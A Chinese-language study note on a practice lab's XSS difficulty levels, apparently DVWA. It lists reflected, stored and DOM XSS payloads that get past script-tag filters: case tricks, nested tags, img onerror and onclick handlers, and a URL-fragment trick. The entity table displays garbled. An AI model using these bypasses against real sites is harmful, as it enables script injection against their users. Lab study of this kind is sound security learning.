反射型XSS:
**Low等级:**任何XSS方法都可以用
**中等级:**过滤
<script >alert('123')</script>
<sCript>alert('123')</script>
<scri<script>pt>alert('123')</script>
<img src=# onerror=alert(1)>
<h1 onclick=alert(1)>123</h1>等等
**高等级:**过滤掉script标签更严格,不能使用script标签
<h1 onclick=alert(1)>123</h1>
<img src=# onerror=alert(1)>
等其他html标签构造的事件还是可以使用的。
不可能等级:
用到了htmlspecialchars(),这个函数是将预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
所以暂时没想出来咋办咯。
存储型XSS:
低等级:没有过滤直接注入,但是name框有最大长度限制,所以选择在message注入
<img src=# onerror=alert(1)>等等
中等级:因为一上来就给Message添加了htmlspecialchars函数所以不能进行注入,但是name框长度的最大限制是在html设置的,所以可以在审查元素中直接对长度进行修改。
还可以用burp抓包发送。
高等级:message还是封死了,还是把script过滤掉了,跟中等级类似,抓包发送等等。
不可能:
这里对name和message都做了htmlspecialchars()处理,所以暂时想不出来。
DOM型XSS:
低等级:直接在网页导航栏构造GET XSS即可完成注入
中等级:源码显示会过滤掉script标签,但是直接用<img src=# onerror=alert(1)>
没有直接执行,尝试闭合option没有成功
闭合select标签
?#default=<script>alert("xss")</script>
也可以。
高等级:
对传入值进行switch判断
?default=English #<script>alert(1)</script>
#该字符后的数据不会发送到服务器端,从而绕过服务端过滤。